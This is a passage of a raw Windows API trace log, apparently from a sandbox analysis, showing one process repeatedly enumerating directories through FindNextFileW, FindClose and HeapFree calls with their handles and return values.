lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.484] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.485] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.485] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.485] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0141.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.485] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.486] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.486] FindClose (in: hFindFile=0x3e5c258 | out: hFindFile=0x3e5c258) returned 1 [0141.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.486] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.486] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.486] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.486] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0141.487] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.487] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.487] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.487] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.487] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0141.487] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.487] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4414670 | out: hHeap=0x510000) returned 1 [0141.489] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0141.489] FindClose (in: hFindFile=0x3e5c218 | out: hFindFile=0x3e5c218) returned 1 [0141.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.489] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0141.490] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0141.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4414670 | out: hHeap=0x510000) returned 1 [0141.490] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0141.490] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0141.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.490] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4414670 | out: hHeap=0x510000) returned 1 [0141.490] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0141.490] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0141.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.490] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.491] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.491] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.492] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.492] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.494] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.494] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.494] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.494] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.517] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0141.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.517] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0141.517] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0141.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.517] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0141.517] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0141.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.517] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0141.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0141.518] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0141.518] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0141.518] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.518] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0141.518] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0141.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.519] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0141.519] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0141.520] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0141.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.542] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0141.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.554] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0141.554] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0141.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.556] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0141.556] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0141.556] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.557] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0141.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.605] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0141.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.628] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0141.628] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0141.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.628] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.035] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.035] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0142.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.035] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0142.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0142.035] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.037] FindClose (in: hFindFile=0x3e5c398 | out: hFindFile=0x3e5c398) returned 1 [0142.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.037] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 0 [0142.038] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.039] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.040] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.041] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.042] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0142.043] FindClose (in: hFindFile=0x3e5c618 | out: hFindFile=0x3e5c618) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0142.043] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.043] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.043] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0142.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.057] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.058] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0142.058] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 0 [0142.058] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0142.058] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0142.058] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.059] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0142.060] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0142.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: 